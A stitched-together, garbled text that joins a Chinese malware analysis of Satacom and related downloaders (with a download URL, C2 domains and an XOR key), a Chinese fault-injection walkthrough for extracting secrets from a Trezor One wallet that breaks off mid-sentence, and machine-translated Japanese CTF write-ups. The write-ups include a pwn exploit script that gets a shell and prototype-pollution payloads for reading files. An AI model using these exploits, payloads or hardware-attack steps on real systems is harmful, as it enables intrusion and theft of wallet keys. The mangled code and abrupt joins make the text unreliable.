該安裝腳本被編程為從URL ' http://onlinehueplet[.]com/77_1.exe '下載一個文件,將其作為' dllhostwin.exe '放置到' %TEMP% '目錄中,並使用字符串' 77 '作為參數執行它。

14.png

Inno Setup 安裝腳本的一部分

下載的文件屬於Satacom Trojan-Downloader 家族。然而,在研究過程中,研究人員發現該文件在服務程序上被替換為合法的PuTTY 軟件(一種流行的SSH 客戶端)。

LgoogLoader該文件是另一個使用Microsoft Cabinet壓縮文件格式的軟件安裝程序。執行後,它會投放三個文件:一個批處理文件、一個帶有剝離的可執行文件標頭的AutoIt 解釋程序和一個AutoIt 腳本。然後它使用“cmd.exe”執行批處理文件。批處理文件的任務是恢復AutoIt 解釋程序可執行文件,並使用AutoIt 腳本的路徑作為命令行參數啟動它。

AutoIt 腳本執行一些AntiVM 和AntiDebug 檢查。如果所有檢查都成功,那麼它會再次啟動AutoIt 解釋程序,解密並解壓嵌入的可執行文件並將其註入新創建的進程。注入的可執行文件是LgoogLoader。

LgoogLoader是一個木馬下載程序,它從硬編碼的靜態URL下載加密的配置文件。然後對配置進行解密,從中提取額外的url,下載並執行最終的有效負載。它被稱為LgoogLoader,因為它使用了來自“谷歌隱私政策”的字符串。

15.png

LgoogLoader 二進製文件中的Google 隱私政策字符串

Downloader.Bitser原始文件是一個試圖安裝PUA: Lightening Media Player的NSIS安裝程序。該文件由csdimonealize的更新程序組件(MD5: 98f0556a846f223352da516af66fa1a0)下載。然而,安裝腳本不僅被配置為設置lighightmedia Player,還被配置為運行內置的Windows實用程序“bitsadmin”來下載額外的文件,這就是我們將其稱為Bitser的原因。在本文的示例中,該實用程序在NSIS 安裝程序的安裝腳本中使用,並用於下載受7z 密碼保護的壓縮文件。 7z 壓縮文件的密碼以及解包和執行說明也被硬編碼到安裝腳本中。

16.jpg

Downloader.Bitser 的感染鏈

一個合法的7-Zip 獨立控制台應用程序由安裝程序以名稱“data_load.exe”投放,並使用參數啟動以從下載的壓縮文件中解壓縮文件。

17.png

部分帶有下載和執行指令的NSIS 腳本

C-JokerC-Joker 是一個非常簡單的Exodus 錢包竊取程序。它使用Telegram API 發送有關安裝成功或失敗的通知。為了竊取憑據,它會下載“app.asar”文件的後門版本,並替換了來自Exodus錢包的原始文件。

18.png

C-Joker 二進製文件中的字符串

SatacomSatacom 也稱為LegionLoader。 Satacom 於2019 年被發現,它使用了不同的反分析技巧,這些技巧可能是從al-khazer 中藉鑑來的。嵌入式用戶代理因樣本而異,但在本文的示例中,用戶代理是“deus vult”。

19.png

Satacom 二進製文件中的字符串

最新版本從TXT-record 接收主控中心地址。 Satacom 向‘reosio.com’發送一個DNS TXT 查詢,並接收一個帶有base64 編碼字符串的響應。

20.png

Satacom DNS 請求和響應

使用XOR 密鑰“DARKMATTER”解碼和解密後,它會得到真正的CC URL“banhamm.com”。

在過去的四五年裡,圍繞加密貨幣錢包的安全性進行了大量研究。大部分研究都集中在故障注入領域,這是破壞嵌入式系統的常見手段,其目的是找到允許修改設備行為,以授予攻擊者升級的訪問權限。這方面的示例可能包括跳過指令、破壞內存讀取操作等。

故障注入故障注入包括引入足夠小的錯誤或修改以在目標上導致未定義的行為,但不足以阻止目標完全運行。這通常涉及注入高壓脈衝或暫時從目標系統上的目標電源或“軌道”排出電壓。

通過引起瞬間電壓調製(高於或低於預期電壓),我們可以迫使目標系統進入一個未定義的行為領域。有足夠針對性的錯誤可以繞過各種安全檢查或其他可能阻礙攻擊者或逆向工程的功能。

關於常見的故障注入方法,我們可以嘗試引入幾種不同類型的故障:時鐘故障和電壓故障。

時鐘故障對於時鐘故障,我們的目標是跳過或修改指令。這個想法是,通過注入另一個時鐘週期,我們可以讓處理器跳過一條指令。

1.png

當我們嘗試修改或操作特定的時鐘週期序列以獲得我們想要的結果時,這些需要精確。時鐘故障以CPU 或微控制器上的外部時鐘為目標,最終目標是在適當的時間注入時鐘信號,從而導致指令被跳過。

電壓故障電壓故障涉及針對整個系統的電源。通過短暫切斷目標系統的電源,我們可以修改其行為/性能。

2.png

對於電壓故障,我們的目標是在足夠短的時間內降低電壓,以便處理器不會完全關閉,而是進入一個未定義狀態或導致某種類型的未定義行為。不幸的是,這項任務並不容易,因為許多處理器都是專門為避免這種情況而設計的,有時需要攻擊者使用組件移除或註入方法。

如果你想了解更多關於這些方法的信息,可以點擊有關教程、論壇和文檔。

電磁故障注入我們還可以使用PicoEMP或chipshouter等工具向目標註入故障,這些工具以不同於上述兩種方法的方式註入故障。

這些工具用於執行EMFI(電磁故障注入)攻擊。這些攻擊涉及產生可能導致硬件故障的大電場,從而導致潛在的位翻轉和其他未定義的行為。想要了解更多關於EMFI攻擊的信息,請查看Colin O’flynn關於錢包的介紹。

本文旨在重現使用故障注入繞過STM32F2 系列MCU bootrom 中的RDP 檢查的過程,允許攻擊者通過SWD 訪問設備的內部存儲器。

目標設備目標是Trezor One 錢包,這是一款流行的低成本錢包,它是基於STM32F2微控制器構建的。 Trezor的硬件和軟件都是開源的,這很好,因為它讓我們能夠訪問硬件圖和固件源,這將有助於逆向工程。

4.jpg

Trezor One 使用STM32F2 MCU,讓我們先回顧一下CPU的相關特性。

STM32 安全概述在STM32微處理器上可以啟用多種安全功能:

1.RDP 0 ——閃存解鎖,閃存/內存可通過調試接口訪問;

2.RDP 1——閃存鎖定,你可以連接調試器並讀取RAM/外設,但不能讀取閃存;

3.RDP 2——閃存鎖定、RAM 讀取鎖定、調試接口鎖定;

由於我們需要啟用保護級別RDP2,所以我們需要找到繞過它的方法,為此,我們必須稍微仔細研究一下STM32 中的電源管理和調節方式。

STM32 電源管理/調節在任何微控制器中,都有多個電源域(power domain),電源域對於一款芯片來說,其是由許多模塊、子系統集成之後才會發揮它的功能,不同模塊之間的工作速度和性能要求不同,它們為各種芯片外設和內部操作和比較器供電。我們將以內部電壓調節器為目標。下面是STM32電源域的簡要概述:

5.PNG

該圖顯示VCAP_1 和VCAP_2 線為我們提供了通往內部調節器的直接路徑,影響內核邏輯、閃存和IO 邏輯等內容。因此,如果我們可以簡單地操作這條線,我們就有希望影響這些外圍設備的行為方式!

6.PNG

對於這項工作,我們將通過嘗試操作上圖中顯示的VCAP 線來瞄準內部穩壓器。我們為什麼要瞄準這條線?或者更重要的是,當我們轉向其他目標進行故障注入時,我們如何才能找到類似的電壓軌來定位其他處理器?

VCAP 線路確保所有內部比較器和穩壓器都得到適當管理。如果我們可以操作這條線,則有可能改變CPU 核心存儲器和數字外設的行為,並導致未定義/修改的行為。希望這個內部調節器出現的故障(可能在涉及RDP 設置的特定內存操作期間)允許我們修改設備的RDP 狀態。

綜上所述,我們希望嘗試將設備的RDP狀態從RDP2修改為RDP1,我們希望通過故障或短暫中斷VCAP_1/VCAP_2線路上的電壓來實現這一點,VCAP_1/VCAP_2線路用於幫助調節內部穩壓器。如果我們能改變內部電壓調節器的行為,我們就有可能改變處理器的行為。現在我們已經回顧了目標的內部安全特徵和我們要攻擊的電源軌,接下來讓我們談談攻擊的細節。

攻擊過程這項工作旨在重現chip.fail 研究中提出的實踐路徑,該研究導致在STM32F2 微控制器的bootrom 中發現錯誤。對於那些可能不熟悉的人,bootrom 負責處理微控制器的許多早期啟動功能(類似於現代計算機上的BIOS)。 bootrom 負責執行基本的外設初始化、安全檢查、啟動模式檢查,最後將主應用程序加載到內存中並執行。引導過程的概要如下所示:

7.png

如果攻擊者可以在處理器開始執行其bootrom 大約170 微秒後注入故障,那麼RDP檢查就可以被繞過。這將允許攻擊者將STM32 從RDP2 釋放到RDP1,從而允許通過SWD 訪問SRAM。此外,可以通過讀取SRAM 來提取恢復密鑰,從而可以訪問錢包的內容。注意:Trezor 已修復了此漏洞。

攻擊過程如下:

1.開啟錢包;

2.當斷言(assert)RESET線時,開始故障倒計時;

3.在170 微秒時,將VCAP 拉低;

4.通過SWD 測試RDP 繞過;

5.從目標設備讀取SRAM。

8.png

如果步驟4 成功並且錢包繼續啟動,則故障成功,並且可以從目標中讀取內部SRAM。

那麼像這樣的攻擊在信號層面是什麼樣的呢?我們如何知道處理器何時開始執行引導ROM?如果分析新的目標/電源軌跡,將如何進行?讓我們首先從目標中移除一些組件並查看電源軌跡。

準備我們的目標為了確保我們的故障盡可能有效,我們需要移除連接到VCAP 線和復位線的外部電容器。這些電容器(在下面的示意圖中突出顯示)用於確保電壓保持穩定,這是我們在進行故障注入時不想要的。

以下是Trezor One 的默認示意圖:

9.png

下方紅色突出顯示的組件勾勒出了需要移除的電容器。

10.jpg

下面是錢包的圖片,被移除的電容用紅色標出:

11.jpg

捕獲電源軌跡除了已經確定的需要移除的組件和我們關心的線路,我們還需要捕獲一些示例電源跟踪數據。為此,我們將使用示波器。我們在本文中使用了Siglent SDS1104X-E 100Mhz 數字示波器和該示波器附帶的標准直流測量探頭。

在執行這樣的功率捕獲時,必須確保正確設置示波器。這意味著示波器將在檢測到復位線上升時開始捕獲。

在撥動示波器的觸發器時,花一些時間是必要的。雖然使用連續捕獲或“滾動”模式可能很有效,但這會大大降低你的捕獲率並導致更細粒度的電源跟踪。對於我們稍後將查看的樣本,我們的採樣率為500MSa/s。

還應該注意的是,當我們捕獲踪跡時,我們沒有使用分流電阻,關於如何正確利用分流電阻進行功率測量的文章可以點擊這裡。

接下來,讓我們回顧一些示例電源軌跡。下面是帶有外部電容器的VCAP 線上電壓的示例視圖:

12.png

移除電容器時也有同樣的反應:

13.png

現在線路噪音更大且更不穩定,這正是我們在嘗試將故障或故障注入電源軌時想要的。移除電容器並焊接測試焊盤後,就可以開始從與復位線相關的目標線(VCAP)開始進行一些初始功率分析。當系統復位線達到3.3V 閾值時,bootrom 開始執行。因此,通過監控復位線,我們可以確定引導ROM 何時開始執行,我們將使用它作為我們的故障觸發器。

粉線代表VCAP線上的電壓,而黃線是RESET線上的電壓:

14.png

我們可以在下面的gif 中看到突出顯示的各種活動區域:注意這些區域的電壓波動。基於這個MCU的啟動方式,我們可以對這些多重波動的含義做出一些假設。

15.gif

可以查看大約170 微秒的跟踪,可以在主應用程序開始執行之前看到flash 活動。

16.png

現在我們已經移除了相關的電容器,接下來我們需要連接到SWD 端口。這可以通過PCB 右側的導通孔訪問,如下圖所示:

17.jpg

在將這些行插入到breadboard上之後,就可以重現攻擊了。

重現攻擊下圖是一些要準備的裝置:

18.jpg

STL 文件可在此處的GitHub 存儲庫中找到。

硬件在設置中,我們使用了Raspberry Pi、ChipWhisperer 和STLink。 STLink 連接到Trezor 的SWD 端口,我們使用它來檢測RDP 繞過是否已成功執行。 ChipWhisperer 用於為錢包供電、觸發復位線和乾擾VCAP 線。下面是一個簡單的接線表:

19.png

軟件完成所有適當的連接後,是時候與ChipWhisperer連接,並輸入我們想要的故障參數。如前所述,NewAE 教程是一個很好的起點,可以作為攻擊的模板。

在使用ChipWhisperer時,需要輸入一些關鍵的東西,我們現在將介紹其中一些。參考代碼可以在這裡找到。

整個程序的流程很簡單:

20.png

從連接到我們的CW 開始;這可以通過以下代碼完成:

21.png

我們需要確保我們設置了CW的內部時鐘頻率以及輸出模式和触發源,可以使用以下代碼行來完成此操作:

22.png

接下來,我們來談談觸發。我們之前提到過,將使用複位行來指示引導ROM何時開始執行。如果故障不成功並且需要重新運行,此行也將用於重置目標。

23.png

reboot_flush 函數負責完全重置設備並解除故障。每當我們想要重置STM32 並測試新的故障參數時,我們都會調用此函數:

24.png

接下來,我們將定義我們的故障參數,我們將使用如下所示的GlitchController類來完成。

25.png

最後三行對於我們故障注入至關重要。

故障形成故障形成的三個變量是寬度、重複和偏移變量。請注意,這些定義來自Newaetech 教程。還應該注意的是,除了電線長度和質量等變量之外,還有許多因素會影響故障的形狀。根據一般經驗,使用SMA連接器的短屏蔽線是最佳做法。

寬度:產生故障的寬度。這是一個週期的百分比。對於我們的示例,我們將在進行電壓故障而不是時鐘故障時使用最大值。

重複:重複故障的時鐘週期數。較高的值會增加可能出現故障的指令數量,但通常會增加目標崩潰的風險。但較高的重複次數通常會導致更強的故障。

偏移:在輸出時鐘中放置故障的位置。

故障時間最終的範圍定義ext_offset定義了FPGA在觸發後執行故障之前等待的時鐘週期。由於我們之前指定了100 MHz的時鐘速率,15000個時鐘週期相當於大約150微秒。這意味著在Trezor上的RESET線升高後,我們將開始從ext_offset值開始倒計時,當它達到零時,我們將乾擾VCAP 線!

另一件需要注意的事情是,GlitchController類將遍歷所有提供的glitch參數。因此,對於每個可能的參數組合,我們將重新設置錢包,嘗試gitch,然後嘗試通過SWD連接到STM32。這意味著,對於測試大範圍的值,我們可能需要幾天來完成一系列測試。

我們在監控範圍的同時運行了故障的第一次迭代,並看到我們正確地生成了故障。

調試攻擊在運行攻擊一段時間沒有結果後,就開始對我們的設置進行故障排除。我們想要調試的第一件事是STLink SWD枚舉代碼,用於檢測一個成功的故障:

26.png

首先,我們在RDP級別0使用STM32開發板測試了成功的故障檢測,這在第一次迭代中立即有效。

這是一個好跡象,但是我們想測試多次調用swd_check函數時會發生什麼。

在發現swd 庫無法枚舉設備後(這將在故障嘗試失敗時發生),直到通過USB 重新枚舉STLink 後,它才能再次運行!

這意味著對於我們所有的測試,只有我們的第一次迭代使用STLink 正確測試了SWD。如果一次失敗,SWD 將無法再次工作,直到探針被拔出並通過USB插入!

有了這些新的知識和信心,我們發現了實踐中的問題,並修改了一個簡單的c程序,在每次故障嘗試後重置STLink設備。

27.png

不過,經過幾天的測試和調整故障參數後,我們仍然沒有看到結果。

最後,我們決定取出示波器並檢查故障。我們用16000、17000 和18000 的ext_offset 檢查了故障,雖然看起來是合理的,但是,當ext_offset 為0 時,我們看到以下內容:

28.png

在上面的截圖中,黃線是我們的RST 線,紫線是VCAP 線。注意故障和復位線達到其目標電壓之間的間隙。 ChipWhisperer 在復位線達到3.3V 之前觸發。這個早期的觸發導致我們的故障在復位線完全被斷言之前開始倒計時。這導致故障提前了大約20微秒觸發。

我們可以使用示波器上的光標計算準確的延遲,如下圖所示:

29.png

我們確定使用示波器提前了大約24 微秒觸發。有了這些新信息,我們將ext_offset 範圍修改為17000 到20000 之間,並在周末繼續運行。

過了一段時間,STLink LED 是綠色的,這意味著它已經通過SWD 成功訪問了設備!

30.png

更有趣的是,我們的故障在ChipWhisperer 觸發後大約197 微秒發生。回想一下在chip.fail 中的工作,它們的偏移量大約為170 微秒。我們的延遲為24 微秒,這與之前的實驗相差無幾(197-24=173)。這個偏移範圍是可重複的,我們可以在194-197微秒

1。 pwn

1.nullulllllu

libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。

io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。

exp

PWNインポートから *

Struct Import Packから

ctypesからインポート *

base64をインポートします

サブプロセスのインポート実行から

#from libcsearcherインポート *

Struct Import Packから

TTYをインポートします

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'ctf2024-entry.r3kapig.com'、30371)

#p=remote( '127.0.0.1'、9999)

elf_patch='./chall'

#p=process(elf_patch)

elf=elf(elf_patch)

libc=elf( './libc.so.6')

SLA(b ''、b'1 ')

rl(b'0x ')

libc_base=int(r(12)、16)# +0x6d80

環境=libc_base + libc.sym ['__環境']

システム、binsh=get_sb()

stdin=libc_base + libc.sym ['_ io_2_1_stdin_']

stdin_io_buf_base=stdin + 7*8

stdin_old_value=stdin +0x83

stdout=libc_base + libc.sym ['_ io_2_1_stdout_']

stderr=libc_base + libc.sym ['_ io_2_1_stderr_']

#ステップ2 : printf -stdout -house of apple2

システム、binsh=get_sb()

_io_wfile_jumps=libc_base +0x202228

base_addr=stdout

fake_io=b 'sh; \ x00 \ x00 \ x00'

fake_io=fake_io.ljust(0x68、b '\ x00')

fake_io +=p64(system)

fake_io=fake_io.ljust(0x88、b '\ x00')

fake_io +=p64(base_addr +0x5000)#_lock

fake_io +=p64(0)*2

fake_io +=p64(base_addr)

fake_io=fake_io.ljust(0xd8、b '\ x00')

fake_io +=p64(_io_wfile_jumps -0x20)

fake_io=fake_io.ljust(0xe0、b '\ x00')

fake_io +=p64(base_addr)

SLA(b ''、b'2 ')

SLA(b'mem: '、hex(stdin_io_buf_base)))

#debug( 'b *$ rebase(0x12c3)')

sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

睡眠(1)

SL(fake_io)

lg( 'libc_base'、libc_base)

inter()

Pause()

2。フォレンジック

1.tpa 01

E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します

1049983-20241005123634198-863951153.jpg

実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。

フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。

1049983-20241005123635438-1986591366.jpgしかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。

010 ciphertextを掘り出すだけです

1049983-20241005123636208-712348146.jpg

しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。

1049983-20241005123636839-420522205.png

鍵:

YouTubeでビデオを見るのが好きですか?

F14G:

こんにちはプレーヤー、ようこそ!Ops、それは何ですか?

プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います

最初にキーで言及されているビデオを見てみましょう

1049983-20241005123637427-1989273656.jpg文字列があります。来て、見てください

0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255

たぶんあなたは必要です、それは絶対的ではありません

root:p@5SW0RDFORU 1049983-20241005123638116-1629312263.pngにパスワードが与えられました。 MySQLにログインして、正常にログインしてください。

1049983-20241005123638719-878532988.png 1049983-20241005123639290-416150928.pngSelect * Secretから。1049983-20241005123640012-298815255.jpg 1049983-20241005123640629-927545123.jpg

ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える

実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。1049983-20241005123641303-237871512.png 1049983-20241005123642062-415239806.jpg

2.tpa 02

2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます

image-20240611170304555

最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります

image-20240611170358276

指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。

1049983-20241005123644087-129601060.pngコンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。

次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。

R3CTF {15555215558_L0V3_AND_PEACE}

iii。ミス

1.Blizzard CNが再起動

ShadowEditorを使用

1049983-20241005123644830-198434124.jpg

image-20240611170732676

image-20240611170748000

2.hideandseek

ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです

ルール:

愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。

ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。

すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。

Info: 34.81.163.238を接続します

バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました

image-20240611194137010

NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。

Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです

送信される座標(x、y、z)

newtp x y zログログファイルを直接フリップしてフラグを見つけます

image-20240611194432924

丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です

r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}

3.transit

1049983-20241005123648414-1514241253.jpg

撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}

1049983-20241005123649086-1267414652.jpg

Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU

4.礼拝堂

0.85を超える場合は、間違いなく1です。

frommpwnimport*

p=remote( 'ctf2024-entry.r3kapig.com'、31395)

Foriinrange(500):

a=p.recvuntil(b'top_10_pred: [')

b=p.recvuntil(b ']')

b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')

c=float(b [0])

IFC=0.9:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')

else:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')

print(f'no。{i}={c}、num={num} ')

flag=p.recvline()

印刷(フラグ)

P.Close()もちろん、スコープは合理的に変更できます

1049983-20241005123649655-2063342577.jpg

r3ctf {cain_like_a1_4nd_rec_8772b609d39f}

5.hideandseek

不正行為は数秒です

1049983-20241005123650262-888396391.jpg

非常に優れた村人、私の視点と追跡回転を作ってください

6.h1de@ndse3k

MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。

1049983-20241005123650893-1618764647.jpg CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、

1049983-20241005123651685-445066128.jpgp.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。

または旗を爆破するだけです()

1049983-20241005123652376-1919325320.jpg

7.壁をbehind

defcallback(re):

Re=5

re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

